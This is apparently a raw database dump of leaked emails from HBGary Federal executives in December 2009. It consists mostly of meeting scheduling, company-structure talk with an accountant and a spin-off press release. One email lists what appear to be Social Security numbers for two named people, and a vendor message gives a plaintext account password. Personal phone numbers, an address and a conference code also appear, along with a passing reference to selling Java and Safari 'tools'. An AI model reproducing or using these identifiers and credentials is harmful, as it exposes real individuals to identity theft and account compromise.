Nov 25, 2009, at 4:02 PM, Penny Hoglund wrote:Hi John,&nbsp;I’d like to introduce you to Aaron Barr, CEO of HBGary Federal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a lot of experience with your old employer.&nbsp; He has his clearance as does his President Ted Vera.&nbsp;&nbsp;As I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet then.&nbsp; Please feel free to communicate prior to that as well&nbsp;ThanksPenny&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16259,'aaron_hbgary_com/16259.html'),(583,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999921.M336036P3547Q584.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Introduction','its says ur not onOn Dec 10, 2009, at 4:20 PM, John Edwards wrote:Aaron,How about a conference call.&nbsp; My afternoon was just blitzed.You can use the following:888-311-8177Code 7038893939&nbsp;Does 4:30 work?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 10, 2009 1:25 PMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;I am in Mclean. &nbsp;What time? Do you want to meet out this way or more out your way?&nbsp;Aaron&nbsp;&nbsp;On Dec 10, 2009, at 12:57 PM, John Edwards wrote:How about later this afternoon.&nbsp; Where are you guys going to be for most of the day?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 10, 2009 7:54 AMTo:&nbsp;John EdwardsCc:&nbsp;Penny LeavySubject:&nbsp;Re: Introduction&nbsp;Hey John,&nbsp;I hadn\'t heard back yet about possibly a Friday morning. &nbsp;I can do today as well and possibly later Friday afternoon. &nbsp;I have a set of meetings that stacked up on Friday that I really have to get behind me for some upcoming recompete work, the only meeting I could push would be one with Orbital in the later afternoon.&nbsp;What do you think?&nbsp;Aaron&nbsp;On Dec 9, 2009, at 6:16 PM, John Edwards wrote:What about lunch on Friday?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 08, 2009 9:01 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Sorry for delay, I started last week in a full sprint. &nbsp;Are you still available today or Friday? &nbsp;I am meeting Greg and Penny at 930, I think thats it for me for the day but have to double check with Penny. &nbsp;I would definitely still like to get together this week if you available.&nbsp;Aaron&nbsp;&nbsp;On Dec 3, 2009, at 8:48 AM, John Edwards wrote:Aaron,I’m good Tuesday until 1630 and anytime on Friday.&nbsp; Let me know what works for you.&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 03, 2009 7:29 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Gregs in town next week. &nbsp;Do you have something set up with him already or should I set something, or does Greg need to be there?&nbsp;Either way, Tuesday afternoon works, also Friday works. &nbsp;Either of those days good for you?&nbsp;Aaron&nbsp;&nbsp;On Dec 1, 2009, at 11:45 AM, John Edwards wrote:Aaron,This week is crazy – some large proposals.&nbsp; How about next week.&nbsp; What is your schedule for next week?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 01, 2009 8:36 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Do you want to try and link up this week or wait until next week when Greg gets into town?&nbsp;Aaron&nbsp;&nbsp;On Nov 25, 2009, at 4:02 PM, Penny Hoglund wrote:Hi John,&nbsp;I’d like to introduce you to Aaron Barr, CEO of HBGary Federal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a lot of experience with your old employer.&nbsp; He has his clearance as does his President Ted Vera.&nbsp;&nbsp;As I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet then.&nbsp; Please feel free to communicate prior to that as well&nbsp;ThanksPenny&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6897,'aaron_hbgary_com/6897.html'),(584,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999921.M53478P3547Q583.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Introduction','are u still available?aaronOn Dec 10, 2009, at 4:20 PM, John Edwards wrote:Aaron,How about a conference call.&nbsp; My afternoon was just blitzed.You can use the following:888-311-8177Code 7038893939&nbsp;Does 4:30 work?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 10, 2009 1:25 PMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;I am in Mclean. &nbsp;What time? Do you want to meet out this way or more out your way?&nbsp;Aaron&nbsp;&nbsp;On Dec 10, 2009, at 12:57 PM, John Edwards wrote:How about later this afternoon.&nbsp; Where are you guys going to be for most of the day?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 10, 2009 7:54 AMTo:&nbsp;John EdwardsCc:&nbsp;Penny LeavySubject:&nbsp;Re: Introduction&nbsp;Hey John,&nbsp;I hadn\'t heard back yet about possibly a Friday morning. &nbsp;I can do today as well and possibly later Friday afternoon. &nbsp;I have a set of meetings that stacked up on Friday that I really have to get behind me for some upcoming recompete work, the only meeting I could push would be one with Orbital in the later afternoon.&nbsp;What do you think?&nbsp;Aaron&nbsp;On Dec 9, 2009, at 6:16 PM, John Edwards wrote:What about lunch on Friday?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 08, 2009 9:01 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Sorry for delay, I started last week in a full sprint. &nbsp;Are you still available today or Friday? &nbsp;I am meeting Greg and Penny at 930, I think thats it for me for the day but have to double check with Penny. &nbsp;I would definitely still like to get together this week if you available.&nbsp;Aaron&nbsp;&nbsp;On Dec 3, 2009, at 8:48 AM, John Edwards wrote:Aaron,I’m good Tuesday until 1630 and anytime on Friday.&nbsp; Let me know what works for you.&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 03, 2009 7:29 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Gregs in town next week. &nbsp;Do you have something set up with him already or should I set something, or does Greg need to be there?&nbsp;Either way, Tuesday afternoon works, also Friday works. &nbsp;Either of those days good for you?&nbsp;Aaron&nbsp;&nbsp;On Dec 1, 2009, at 11:45 AM, John Edwards wrote:Aaron,This week is crazy – some large proposals.&nbsp; How about next week.&nbsp; What is your schedule for next week?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 01, 2009 8:36 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Do you want to try and link up this week or wait until next week when Greg gets into town?&nbsp;Aaron&nbsp;&nbsp;On Nov 25, 2009, at 4:02 PM, Penny Hoglund wrote:Hi John,&nbsp;I’d like to introduce you to Aaron Barr, CEO of HBGary Federal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a lot of experience with your old employer.&nbsp; He has his clearance as does his President Ted Vera.&nbsp;&nbsp;As I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet then.&nbsp; Please feel free to communicate prior to that as well&nbsp;ThanksPenny&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14701,'aaron_hbgary_com/14701.html'),(585,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999921.M592627P3547Q585.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Introduction','Sorry John. &nbsp;Looks like I missed you. &nbsp;Give me a call if you are available.Aaron301.652.8885 x117On Dec 10, 2009, at 4:35 PM, John Edwards wrote:I’m on&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 10, 2009 4:24 PMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;yepOn Dec 10, 2009, at 4:20 PM, John Edwards wrote:Aaron,How about a conference call.&nbsp; My afternoon was just blitzed.You can use the following:888-311-8177Code 7038893939&nbsp;Does 4:30 work?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 10, 2009 1:25 PMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;I am in Mclean. &nbsp;What time? Do you want to meet out this way or more out your way?&nbsp;Aaron&nbsp;&nbsp;On Dec 10, 2009, at 12:57 PM, John Edwards wrote:How about later this afternoon.&nbsp; Where are you guys going to be for most of the day?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 10, 2009 7:54 AMTo:&nbsp;John EdwardsCc:&nbsp;Penny LeavySubject:&nbsp;Re: Introduction&nbsp;Hey John,&nbsp;I hadn\'t heard back yet about possibly a Friday morning. &nbsp;I can do today as well and possibly later Friday afternoon. &nbsp;I have a set of meetings that stacked up on Friday that I really have to get behind me for some upcoming recompete work, the only meeting I could push would be one with Orbital in the later afternoon.&nbsp;What do you think?&nbsp;Aaron&nbsp;On Dec 9, 2009, at 6:16 PM, John Edwards wrote:What about lunch on Friday?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 08, 2009 9:01 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Sorry for delay, I started last week in a full sprint. &nbsp;Are you still available today or Friday? &nbsp;I am meeting Greg and Penny at 930, I think thats it for me for the day but have to double check with Penny. &nbsp;I would definitely still like to get together this week if you available.&nbsp;Aaron&nbsp;&nbsp;On Dec 3, 2009, at 8:48 AM, John Edwards wrote:Aaron,I’m good Tuesday until 1630 and anytime on Friday.&nbsp; Let me know what works for you.&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 03, 2009 7:29 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Gregs in town next week. &nbsp;Do you have something set up with him already or should I set something, or does Greg need to be there?&nbsp;Either way, Tuesday afternoon works, also Friday works. &nbsp;Either of those days good for you?&nbsp;Aaron&nbsp;&nbsp;On Dec 1, 2009, at 11:45 AM, John Edwards wrote:Aaron,This week is crazy – some large proposals.&nbsp; How about next week.&nbsp; What is your schedule for next week?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 01, 2009 8:36 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Do you want to try and link up this week or wait until next week when Greg gets into town?&nbsp;Aaron&nbsp;&nbsp;On Nov 25, 2009, at 4:02 PM, Penny Hoglund wrote:Hi John,&nbsp;I’d like to introduce you to Aaron Barr, CEO of HBGary Federal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a lot of experience with your old employer.&nbsp; He has his clearance as does his President Ted Vera.&nbsp;&nbsp;As I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet then.&nbsp; Please feel free to communicate prior to that as well&nbsp;ThanksPenny&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15064,'aaron_hbgary_com/15064.html'),(586,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999921.M836011P3547Q586.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','General Lord','Hey Guys,\r\n\r\nI was talking with Rich earlier and he mentioned that Matt can get a meeting with General Lord.  If that is the case I suggest that not just be a meeting with him and General Lord.  He is the person that is defining the direction of Cyber for the entire AF.  He is a very smart guy that gets cyber and when he gets excited by something it usually happens.  I suggest that Greg, Myself, as well as Matt go to that meeting.  I was just in a Northrop meeting with him a few months ago and Northrop had 2 presidents and 5 VPs in the room with him.  I also believe that this meeting not just be a product sales discussion but a discussion about what is possible.  It should be a coordinated briefing of capabilities.\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11638,'aaron_hbgary_com/11638.html'),(587,'2009-12-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999922.M114069P3547Q587.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: WhaaasssUp!','Adrian just called -- he said all of NOPS is chattering about us!TedBegin forwarded message:From: \"Arnold, Adrian L (IS)\" &lt;Adrian.Arnold@ngc.com&gt;Date: December 10, 2009 1:50:31 PM MSTTo: &lt;ted@hbgary.com&gt;Subject: WhaaasssUp!\r\n\r\nHey Ted, just reading your write-ups in Forensic Focus and other places.&nbsp; WOW!&nbsp; I really glad to see you succeed.&nbsp; You must be in \"Hog Heaven\".&nbsp; No, I\'m not looking for a job!!!&nbsp;(LOL) &nbsp;Just wanted to say howdy and congrats.&nbsp; I\'m still at NOPS, still slugging it out.\r\nGood Luck and Godspeed in your new efforts.&nbsp; Say hi to Aaron.\r\n&nbsp;\r\n\r\n\r\nAdrian Arnold\r\nNOPSSC \r\nDeputy Director, Engineering\r\n719-567-7785\r\nR 889-7785\r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',5123,'aaron_hbgary_com/5123.html'),(588,'2009-12-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999922.M378401P3547Q588.eml','johncoxcpa@verizon.net,johncoxcpa@verizon.net','Re: LLC / Corp','5:15 works for me, if you\'re still available. &nbsp;Aaron, can you join?TedOn Dec 10, 2009, at 12:49 PM, John L. Cox, CPA wrote:Hi Ted,&nbsp;I have a second CPE Webcast from 3:00-5:00pm EST.&nbsp; I can give you a call at 5:15pm or after today EST if okay with you.&nbsp; Please confirm time at your convenience.&nbsp; Thanks.&nbsp;&nbsp;John L. Cox, CPA12107 Faith LaneBowie, Maryland 20715(240) 949-6022 - Voice(866) 750-1973 - Toll Free Fax&nbsp;This messsage contains information that may be confidential and privileged.&nbsp; Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, print or disclose to anyone the message or any information contained in the message.&nbsp; If you have received this e-mail in error, please advise the sender by reply and delete the message.&nbsp; Thank you.&nbsp;&nbsp;&nbsp;From:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 10, 2009 12:21 PMTo:&nbsp;johncoxcpa@verizon.net; Barr AaronSubject:&nbsp;LLC / Corp&nbsp;Hi John,&nbsp;Aaron Barr and I just left you a voicemail. &nbsp;We\'d like to discuss the pros/cons of LLC vs Corp.&nbsp;When you have a moment, please give us a call back:&nbsp;Office: &nbsp;916-459-4727 Aaron ext 117, Ted ext 118&nbsp;Thanks!Ted Vera&nbsp;&nbsp;\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',13450,'aaron_hbgary_com/13450.html'),(589,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999922.M579369P3547Q589.eml','\"Ted Vera\" <ted@hbgary.com>','Re: LLC / Corp','yepOn Dec 10, 2009, at 5:05 PM, Ted Vera wrote:5:15 works for me, if you\'re still available. &nbsp;Aaron, can you join?TedOn Dec 10, 2009, at 12:49 PM, John L. Cox, CPA wrote:Hi Ted,&nbsp;I have a second CPE Webcast from 3:00-5:00pm EST.&nbsp; I can give you a call at 5:15pm or after today EST if okay with you.&nbsp; Please confirm time at your convenience.&nbsp; Thanks.&nbsp;&nbsp;John L. Cox, CPA12107 Faith LaneBowie, Maryland 20715(240) 949-6022 - Voice(866) 750-1973 - Toll Free Fax&nbsp;This messsage contains information that may be confidential and privileged.&nbsp; Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, print or disclose to anyone the message or any information contained in the message.&nbsp; If you have received this e-mail in error, please advise the sender by reply and delete the message.&nbsp; Thank you.&nbsp;&nbsp;&nbsp;From:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 10, 2009 12:21 PMTo:&nbsp;johncoxcpa@verizon.net; Barr AaronSubject:&nbsp;LLC / Corp&nbsp;Hi John,&nbsp;Aaron Barr and I just left you a voicemail. &nbsp;We\'d like to discuss the pros/cons of LLC vs Corp.&nbsp;When you have a moment, please give us a call back:&nbsp;Office: &nbsp;916-459-4727 Aaron ext 117, Ted ext 118&nbsp;Thanks!Ted Vera&nbsp;&nbsp;\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5055,'aaron_hbgary_com/5055.html'),(590,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999922.M777992P3547Q590.eml','\"Aaron Barr\" <adbarr@mac.com>','','2305 mission college blvd santa clara 950546509662438 ben.wilson@gd-ais.com\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9881,'aaron_hbgary_com/9881.html'),(591,'2009-12-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999922.M948080P3547Q591.eml','\"Ted Vera\" <ted@hbgary.com>,aaron@hbgary.com','Other tools','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed and Aaron,\r\n\r\n&nbsp;\r\n\r\nI have two other tools that I forgot to send you &#8211;\r\nJava and Safari (Mac browser).&nbsp; They are older and were sold non-exclusively.&nbsp; &nbsp;Very\r\nlikely they are still good.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1849,'aaron_hbgary_com/1849.html'),(592,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999923.M135175P3547Q592.eml','ben.wilson@gd-ais.com','Names and Numbers for GD visit','Aaron Barr 534-78-3155Ted Vera 025-58-6295\r\nAaron BarrCEOHBGary Federal Inc.------------------------------\r\n\r\nHBGary Launches HBGary FederalHBGary spins off U.S. government cybersecurity services group to provide cybersecurity services to U.S. government agenciesDec 07, 2009 | 10:08 AMSacramento, California , December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary\'s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements.In addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal. Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal\'s Washington D.C. and Colorado Springs offices, respectively.\"As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will ensure the proper protection of our nation\'s military, government and critical infrastructure systems, \" said Greg Hoglund, CEO and founder of HBGary. \"HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.\"Mr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat.\"Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries. Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation\'s critical resources. HBGary\'s behavior-based technologies such as Responder and Digital DNA represent the future. Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,\" said Aaron Barr, CEO of HBGary Federal.\"I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it\'s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise. As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology. HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,\" said Ted Vera, President and COO of HBGary Federal.For more information on HBGary Federal, please visit http://www.hbgary.com. You can also contact Mr. Barr at aaron@hbgary.com or Mr. Vera at ted@hbgary.com.About Aaron Barr, CEO, HBGary FederalPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator. Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security. He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums.About Ted Vera, COO and President, HBGary FederalPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. He has a breadth of IT experience, having excelled in positions including: system administrator, Website developer, system engineer, system security engineer and program manager. He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures. Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist. His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University.About HBGary, Inc.HBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers. Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com.For more information:Karen Burke650-814-3764karenmaryburke@yahoo.com',12931,'aaron_hbgary_com/12931.html'),(593,'2009-12-10','MacRAEsUpdater@macraesbluebook.com','/aaron@hbgary.com/new/1296999923.M318218P3547Q593.eml','aaron@hbgary.com','MacRAE\'s Blue Book Company Update Registration Acknowledgement',' \r\nHello Aaron Barr,\r\n\r\nThank you for your registering with the MacRAE\'S Blue Book and taking the time to improve \r\nupon the accuracy of your company\'s listing, helping to ensure that web users who are \r\ninterested in your products can easily reach your company. Adding information about\r\nyour company can help attract new buyers because we give recently updated records \r\nbetter positioning in our search results.\r\n\r\n\r\nPlease CONFIRM your registration with MacRAE\'S Blue Book by CLICKING ON THE LINK BELOW.\r\nThis will send an acknowledgement to us that your email address was valid and that\r\nyou have received your user name and password to be able to come back to your record \r\nin order to make future changes to your listing:\r\n\r\nhttp://www.macraesbluebook.com/search/updateCmpNew/confirmProc.cfm?cfID=y3yfj3q4j_aaron@hbgary.com\r\n\r\nTo return to your company listing and make further changes you will need to login to \r\nthe update center with this link\r\n\r\nhttp://www.macraesbluebook.com/search/updateCmpNew/update.cfm?cmp=1214835\r\n\r\nYour User Name is: aaron@hbgary.com\r\nYour Password is: 62ib3zbsf\r\n\r\nPlease save this link and retain your use name and password for future use.\r\n\r\nPlease do not reply to this message. If you have any problems please contact \r\nThe MacRAE\'S Blue Book customer service team at 1.800.206.6548 ext. 225 or via email at acaulcutt@owen-media.com\r\n\r\nPlease disregard this message if you received it in error. \r\n\r\nBest Regards,\r\nMacRAE\'S BLUE BOOK Customer Service Team\r\n\r\n\r\n			\r\n',6620,'aaron_hbgary_com/6620.html'),(594,'2009-12-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999923.M512201P3547Q594.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,','C-Corp','Hi Penny,Aaron and I spoke with John today.  It sounds like for our particular situation the favored approach is a C-Corp (HBGary Federal, Inc), with a separate LLC for intellectual property holdings.\r\nRegards,Ted-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',9546,'aaron_hbgary_com/9546.html'),(595,'2009-12-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999923.M698071P3547Q595.eml','\"Mike Steinmetz\" <intruder_pilot@yahoo.com>','breakfast','Are we still on for breakfast?  If so where?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',180,'aaron_hbgary_com/180.html'),(596,'2009-12-11','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1296999923.M896230P3547Q596.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Call Forwarding','Bob,\r\n\r\nDo you know how to forward calls from your office phone?  Just curious.  \r\n\r\nAaron,\r\n\r\nI just tried *72, but it didn\'t work.  I\'ll have to play around to figure it out.  Here are the links.\r\n\r\nTed\r\n\r\nCall Forwarding:\r\nhttps://kb.nuvio.com/article.php?id=629\r\n\r\nPhone Manual:\r\nhttp://www.polycom.com/global/pw_item_show_doc/1,1149,7480,00.pdf\r\n',9319,'aaron_hbgary_com/9319.html'),(597,'2009-12-11','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>','/aaron@hbgary.com/new/1296999924.M329406P3547Q598.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: LLC / Corp','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Ted,\r\n\r\n&nbsp;\r\n\r\nI enjoyed speaking with Aaron and you this evening and look\r\nforward to working with you in the future.\r\n\r\n&nbsp;\r\n\r\nNext week the 15th thru 17th are open\r\nright now as I will be working in my office except for 4:30pm and later on\r\nWednesday EST.&nbsp; Please let me know what time is convenient with you and I\r\nwill place on the calendar.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nJohn L. Cox,\r\nCPA\r\n\r\n12107 Faith\r\nLane\r\n\r\nBowie,\r\nMaryland 20715\r\n\r\n(240)\r\n949-6022 - Voice\r\n\r\n(866)\r\n750-1973 - Toll Free Fax\r\n\r\n&nbsp;\r\n\r\nThis\r\nmesssage contains information that may be confidential and privileged.&nbsp;\r\nUnless you are the addressee (or authorized to receive for the addressee), you\r\nmay not use, copy, print or disclose to anyone the message or any information\r\ncontained in the message.&nbsp; If you have received this e-mail in error,\r\nplease advise the sender by reply and delete the message.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, December 10, 2009 5:06 PM\r\nTo: johncoxcpa@verizon.net\r\nCc: Aaron Barr\r\nSubject: Re: LLC / Corp\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n5:15 works for me, if you\'re still available. &nbsp;Aaron,\r\ncan you 